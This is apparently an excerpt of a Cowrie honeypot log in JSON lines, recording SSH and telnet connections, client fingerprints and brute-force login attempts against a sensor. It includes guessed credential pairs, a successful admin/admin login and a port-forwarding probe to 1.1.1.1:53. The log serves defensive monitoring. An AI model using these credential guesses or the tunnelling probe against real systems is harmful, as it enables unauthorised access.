{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:22:b5:76:69:ab:78:cf:e3:7a:f2:22:8f:cb:21:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE2Z3RcAA8iCIWcST4XQRZ4aBqnOwWAARS1KP4aVWcJT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 65:22:b5:76:69:ab:78:cf:e3:7a:f2:22:8f:cb:21:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.511467Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:22:b5:76:69:ab:78:cf:e3:7a:f2:22:8f:cb:21:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE2Z3RcAA8iCIWcST4XQRZ4aBqnOwWAARS1KP4aVWcJT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.515828Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:2b:88:af:76:67:10:6c:62:db:a6:38:9a:67:cb:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn7evi8vi/0EymYntlXnGOC7Hi7xK892ucVuppfTqe/HAMSS7pBkRGHmPPlrrCeqb6IqmkcgZVykKKHmZYI70guAxmyo2ePLCpO5Y/Vo12ULW7/1kkU55kTbILwpSt2NkF2Omq15zgnO6jnptmfk4Q5J18cbjcNkA9y+H7Dgy4T6VFVznqzyMg4M9rNCdWnFj9oQeBLNDi1c/qyMSGbo3BnoGVpRvulkXuat69zLXchpHSg9ISfz3Al97VC/OFqMRnqIHDH/gLFho4+8CNwpFVObncct13gc7Es08JzFR2Cnye81hJOj6XQy0IXiSxleCm7gqQCXoWj1J1b98Hbf9pED9vXlAFp1bGLfDB1P5bhKGjukNz+H2+Ylx1xpO8cxxZ6tAM5LnIhdySGAXcJ404nlambxaoDm22XH2qIC1IZhlu9hWci0ycXCNYDV8q8RiBlxr0APkjlJFzDWzp2Al6MHt+SfTUljjo32xBdsCpGCrbLFvt3bwsAWGWB1Th9L28DTtrElp6f87M0ugDnze2tJ2ps1+Q/iSigN2HAutb3lZZnYApEX4aUO8N2Fc34Okv22ndrIKzFwOJj3mHHIbRBGRFE0pZH5svfKsIgNW99Pi8CwFIgiPplY1O6tavOh5Wjr8B1m5UMbH+sht+HXwyPpQEcXJSKWNvoh/iH/W2KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:2b:88:af:76:67:10:6c:62:db:a6:38:9a:67:cb:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.602510Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:2b:88:af:76:67:10:6c:62:db:a6:38:9a:67:cb:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn7evi8vi/0EymYntlXnGOC7Hi7xK892ucVuppfTqe/HAMSS7pBkRGHmPPlrrCeqb6IqmkcgZVykKKHmZYI70guAxmyo2ePLCpO5Y/Vo12ULW7/1kkU55kTbILwpSt2NkF2Omq15zgnO6jnptmfk4Q5J18cbjcNkA9y+H7Dgy4T6VFVznqzyMg4M9rNCdWnFj9oQeBLNDi1c/qyMSGbo3BnoGVpRvulkXuat69zLXchpHSg9ISfz3Al97VC/OFqMRnqIHDH/gLFho4+8CNwpFVObncct13gc7Es08JzFR2Cnye81hJOj6XQy0IXiSxleCm7gqQCXoWj1J1b98Hbf9pED9vXlAFp1bGLfDB1P5bhKGjukNz+H2+Ylx1xpO8cxxZ6tAM5LnIhdySGAXcJ404nlambxaoDm22XH2qIC1IZhlu9hWci0ycXCNYDV8q8RiBlxr0APkjlJFzDWzp2Al6MHt+SfTUljjo32xBdsCpGCrbLFvt3bwsAWGWB1Th9L28DTtrElp6f87M0ugDnze2tJ2ps1+Q/iSigN2HAutb3lZZnYApEX4aUO8N2Fc34Okv22ndrIKzFwOJj3mHHIbRBGRFE0pZH5svfKsIgNW99Pi8CwFIgiPplY1O6tavOh5Wjr8B1m5UMbH+sht+HXwyPpQEcXJSKWNvoh/iH/W2KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.607042Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:15.695619Z","src_ip":"193.70.122.120","session":"6a029e64ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.830254316329956,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:18.462884Z","src_ip":"178.88.82.244","session":"d9b65c36dbe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.226.222.163","src_port":48332,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7eede76368","protocol":"telnet","message":"New connection: 77.226.222.163:48332 (10.17.0.5:23) [session: 0f7eede76368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:03:56.882661Z"}
{"eventid":"cowrie.session.closed","duration":12.779802799224854,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:04:09.662365Z","src_ip":"77.226.222.163","session":"0f7eede76368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":5355,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff02a9ca748","protocol":"telnet","message":"New connection: 212.55.149.117:5355 (10.17.0.5:23) [session: 6ff02a9ca748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:04:19.865472Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.201.29.36","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3d7677903f4","protocol":"telnet","message":"New connection: 190.201.29.36:48136 (10.17.0.5:23) [session: d3d7677903f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:05:14.025407Z"}
{"eventid":"cowrie.session.closed","duration":13.617929697036743,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:05:27.643216Z","src_ip":"190.201.29.36","session":"d3d7677903f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.78236508369446,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:05:27.647722Z","src_ip":"212.55.149.117","session":"6ff02a9ca748","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":48732,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0101dc5c60","protocol":"telnet","message":"New connection: 212.55.149.117:48732 (10.17.0.5:23) [session: 4a0101dc5c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:06:10.639323Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46862,"dst_ip":"10.17.0.5","dst_port":22,"session":"76257a978868","protocol":"ssh","message":"New connection: 103.15.226.202:46862 (10.17.0.5:22) [session: 76257a978868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:06:35.039862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:06:35.046118Z","src_ip":"103.15.226.202","session":"76257a978868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:06:35.289752Z","src_ip":"103.15.226.202","session":"76257a978868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Hill@App2a","message":"login attempt [root/@Hill@App2a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:06:36.007164Z","src_ip":"103.15.226.202","session":"76257a978868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:06:37.248766Z","src_ip":"103.15.226.202","session":"76257a978868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.35114097595215,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:13.990345Z","src_ip":"212.55.149.117","session":"4a0101dc5c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":60988,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa8a9aca844","protocol":"ssh","message":"New connection: 103.84.236.222:60988 (10.17.0.5:22) [session: aaa8a9aca844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:14.034651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:14.039926Z","src_ip":"103.84.236.222","session":"aaa8a9aca844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:14.271664Z","src_ip":"103.84.236.222","session":"aaa8a9aca844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"toyota","message":"login attempt [admin/toyota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:15.228862Z","src_ip":"103.84.236.222","session":"aaa8a9aca844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:16.465054Z","src_ip":"103.84.236.222","session":"aaa8a9aca844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31976,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a61b7063db","protocol":"ssh","message":"New connection: 87.251.64.176:31976 (10.17.0.5:22) [session: e4a61b7063db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:27.571819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:27.580599Z","src_ip":"87.251.64.176","session":"e4a61b7063db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:27.677644Z","src_ip":"87.251.64.176","session":"e4a61b7063db","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:27.974431Z","src_ip":"87.251.64.176","session":"e4a61b7063db","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:28.085775Z","session":"e4a61b7063db","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:28.204992Z","src_ip":"87.251.64.176","session":"e4a61b7063db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:28.334044Z","src_ip":"87.251.64.176","session":"e4a61b7063db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.208.178.54","src_port":40006,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dd02cb7cb5a","protocol":"telnet","message":"New connection: 37.208.178.54:40006 (159.203.135.109:23) [session: 9dd02cb7cb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:07:48.405953Z"}
{"eventid":"cowrie.session.closed","duration":14.057974100112915,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:08:02.463817Z","src_ip":"37.208.178.54","session":"9dd02cb7cb5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.105.69","src_port":47340,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c235a495e23","protocol":"ssh","message":"New connection: 180.76.105.69:47340 (10.17.0.5:22) [session: 5c235a495e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:23.129512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:23.133372Z","src_ip":"180.76.105.69","session":"5c235a495e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:23.376840Z","src_ip":"180.76.105.69","session":"5c235a495e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passw0rd","message":"login attempt [test/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:24.373359Z","src_ip":"180.76.105.69","session":"5c235a495e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:25.617141Z","src_ip":"180.76.105.69","session":"5c235a495e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":15923,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d94fb94163","protocol":"ssh","message":"New connection: 193.24.211.100:15923 (159.203.135.109:22) [session: d9d94fb94163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:29.088430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:29.095013Z","src_ip":"193.24.211.100","session":"d9d94fb94163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:29.212467Z","src_ip":"193.24.211.100","session":"d9d94fb94163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd1","message":"login attempt [root/passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:29.634410Z","src_ip":"193.24.211.100","session":"d9d94fb94163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:09:30.744782Z","src_ip":"193.24.211.100","session":"d9d94fb94163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47176,"dst_ip":"10.17.0.5","dst_port":22,"session":"53360b2e82f8","protocol":"ssh","message":"New connection: 103.15.226.202:47176 (10.17.0.5:22) [session: 53360b2e82f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:10:09.492121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:10:09.497756Z","src_ip":"103.15.226.202","session":"53360b2e82f8","protocol":"ssh"}
